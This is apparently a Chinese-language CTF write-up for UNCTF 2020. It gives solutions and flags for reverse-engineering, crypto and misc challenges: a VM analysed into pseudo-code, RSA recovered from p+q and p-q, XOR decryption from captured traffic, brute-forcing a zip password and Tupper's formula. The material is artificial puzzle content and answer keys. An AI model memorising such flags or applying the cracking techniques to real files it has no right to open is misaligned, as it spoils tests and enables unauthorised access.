    

    成功得到flag

    动态加静态:

    动调得到指令调用顺序:

    0xF7->0xF1(6,3)->0xF1(7,0)->0xF1(5,0)->0xF8->0xF1(2,0)->0xF0(0x14)->0xF3(2)->0xF4(0xB)循环到字符读取完成->0xF9

    根据上面的分析可得汇编伪代码

    read a1->input
    mov a1->r1 , 3
    mov a1->r2 , 0   // input索引
    loop:
    mov a1->r0 , a1->input[a1->r2]
    mov a1->r0 , pow(a1->r0,7) mod 187
    mov a1->input[r2] , a1->r0
    if a1->r2 = 0x14 (20)
       mov a1->r0 , 0
    else:
       mov a1->r0 , bool(a1->r2 > v14) + 1  ;if a1->r2 > 0x14 mov a1->r0 , 1    else: mov a1->r0 , 2
    add a1->r2 , 2   //隔两位加密
    if  a1->r0 == 1 
    	mov a1->opcode , *(&a1->opcode - 0xB) ;指向0xF1(5,0),等价goto loop
    else:
    	mov a1->opcode , 2 //指向0xF9
    cmp  encrypt , input
    

    还看不懂的可以看伪c

    char input;
    scanf(&input,21);
    int r1 = 3, r2 = 0, r0 = 0, flag = 1, v1;
    int encrypt[21] = [150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131];
    do{
        r0 = pow(input[r2],7) mod 187;
        input[r2] = r0;
        if (r2 > 20) 
            r0 = 0;
        else{
            if r2 > 20 
                r0 = 1;
            else 
                r0 = 2;
        } 
        r2 += 2;
        if (r0 == 1)
            flag = 1;
        else 
            flag = 0
    }while(flag)
    while ( encrypt[v3] == input[v3] ){
      if ( ++v3 == 21 ){
        puts("wuhu flag is what you input");
        return 0;
      }
    }
    puts("wrong! maybe you are not a hacker !");
    

    很明显就是对输入进行隔行rsa加密,注意加密内容是字符不是数字。

    脚本和纯动态的一样,就不写了。

    Crypto

    鞍山大法官开庭之缺的营养这一块怎么补:

    只有两个字符,猜测是培根密码,把o换成A,t换成B,在线解密一下得peigenhenyouyingyang。

    原本以为flag是:unctf{peigenhenyouyingyang},结果不对。后来发现是全大写,所以flag为unctf{PEIGENHENYOUYINGYANG}

    easy_rsa:

    给了a,b,e,c且a = p + q, b = p - q,直接上脚本。

    import libnum
    from Crypto.Util import number
    import gmpy2
    from Crypto.Util.number import long_to_bytes
    
    a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
    b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
    p = (a+b)/2
    q = (a-b)/2
    n = p * q
    e = 65537
    phi = (p-1)*(q-1)
    d = gmpy2.invert(e,phi)
    c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
    m = pow(c,d,n)
    print(libnum.n2s(m))
    #UNCTF{welcome_to_rsa}
    

    MISC

    baba_is_you:

    png后面有个bilibili网址,点进去第一条评论就是flag

    爷的历险记:

    之前WMCTF有过类似的RPG,直接上手RPG Maker MV,重建游戏,把所有文件复制到新建工程中。

    观察了一下,有hint1,hint2,hint3,flag1,flag2,flag3。一股脑在room中将那条狗赋予商品处理事件,里面直接售卖hint1,hint2,hint3,flag1,flag2,flag3,且金钱调为0。

    进入游戏,购买商品。发现flag3和hint3都是写着UNCTF{WelC0me_ 70_ UNCTF2oZ0~}。

    但是,这个出题人可能脑抽了,直接明文搜UNCTF就可以搜到flag。。。。

    YLB's CAPTCHA - 签到题:

    没什么好说的,就是硬看。

    躲猫猫:

    直接打开报错,右键压缩包打开,穷举。

    发现sharedStrings.xml中有个dW5jdGYlN0I3MzgzYjY3ZGU5MTA2YTZmMTBmZGJlNGU4ZWJjNjRjZSU3RA==

    解码base64得unctf%7B7383b67de9106a6f10fdbe4e8ebc64ce%7D,再url解码得unctf{7383b67de9106a6f10fdbe4e8ebc64ce}

    YLB绝密文件:

    直接用 foremost分离,得到一堆htm文件和zip,zip损坏打不开,逐个分析网页可得,用户一共上传成功了YLBSB.zip,secret.cpython-38.pyc,xor.py这三个文件。

    用wireshark打开,定位到xor.py,复制tcp流,整理一下可得加密脚本

    #coding:utf-8
    import base64
    from secret import key
    file =open("YLBSB.docx", "rb")
    enc =open("YLBSB.xor", "wb")
    plain = base64.b64encode(file.read())
    count = 0
    for c in plain:   
        d = chr(c ^ ord(key[count % len(key)]))
        enc.write(d.encode())
        count =count + 1
    

    再定位到YLBSB.zip,导出 tcp流,保存为zip,打开解压的YLBSB.xor。

    在导出pyc的过程中出了点问题,之后看到

    Content-Disposition: form-data; name="uploadfile"; filename="secret.cpython-38.pyc"
    Content-Type: application/x-python-code
    
    U
    
    ....k.._#........................@...s....d.Z.d.S.).z.YLBSB?YLBNB!N)...key..r....r.....9C:Usersyolo-DownloadsHQUCTFUNCTF2020Miscsecret.py..<module>.........
    

    猜测key为YLBSB?YLBNB!,写解密脚本

    import base64, binascii
    enc =open("YLBSB.xor", "rb")
    file =open("YLBSB.docx", "wb")
    key = "YLBSB?YLBNB!"
    plain = enc.read().decode()
    count = 0
    d =''
    for c in plain:
        a = chr(ord(c) ^ ord(key[count % len(key)]))
        d = d + a
        count =count + 1
    file.write(base64.b64decode(d))
    

    得到YLBSB.docx,打开发现最后没有文字,却有英文检查出现错误时标志的下滑波浪线,选定,调为黑色得flag:UNCTF{Best_YLB_Ever}

    阴阳人编码:

    把就这和不会吧换成Ook,把¿换成?,找个网址解密Ook密码得flag:flag{9_zhe_Jiu_zhe_8_hui_8}

    网络深处1:

    给了三个文件,zip是加密的,打开提示可得密码是纯数字,将拨号音拖入Audacity,观察频谱图,可知密码为11位数,上ARCHPR破解得密码15975384265,解密得到一个wav和一个txt,继续将电话录音拖入Audacity,观察频谱图,得到tupper关键字。

    百度后可知是Tupper自我指涉公式,扒个官网的画图代码,

    def Tupper_self_referential_formula(): 
            k = 636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871
            
    	def f(x,y):
    		d = ((-17 * x) - (y % 17))
    		e = reduce(lambda x,y: x*y, [2 for x in range(-d)]) if d else 1
    		f = ((y / 17) / e)
    		g = f % 2
            	return 0.5 < g
    
    	for y in range(k+16, k-1, -1):
    		line = ""
    		for x in range(0, 107):
                		if f(x,y):
    				line += "@"
    			else:
    				line += " "
            	print line
    
    if __name__ == '__main__':
    
        returned = Tupper_self_referential_formula()
        if returned:
            print str(returned)
    

    k即为txt里给的那一大串数字。运行得

    DmBtYt.jpg

    flag:flag{Y29PBA==}不用去解密成coil。。。。。

    被删除的flag:

    和我之前国赛做的电脑被黑没有什么区别,按照套路走一遍就拿到flag:unctf{congratulations!}

    EZ_IMAGE:

    得到225张图,用ImageMagick中的montage命令合成一张大图

    montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg
    

    DmBQyD.jpg

    得到一张大图之后,用gaps来进行还原:

    gaps --image=out.jpg --generations=40 --population=225 --size=60 --save
    

    DmBnW6.jpg

    得到flag:UNCTF{EZ_MISC_AND_HACK_FUN}

  • 相关阅读:
    行为型模式之 命令模式
    结构型模式之 代理模式
    oop编程思想
    2013应届毕业生各大IT公司待遇整理汇总篇(转)
    python定义class
    python——博客园首页信息提取与分析(转载有改动)
    深入浅出TCP/IP协议
    python基础之socket
    python基础
    c++stl之stack
  • 原文地址:https://www.cnblogs.com/b1ank/p/13974605.html
Copyright © 2020-2023  润新知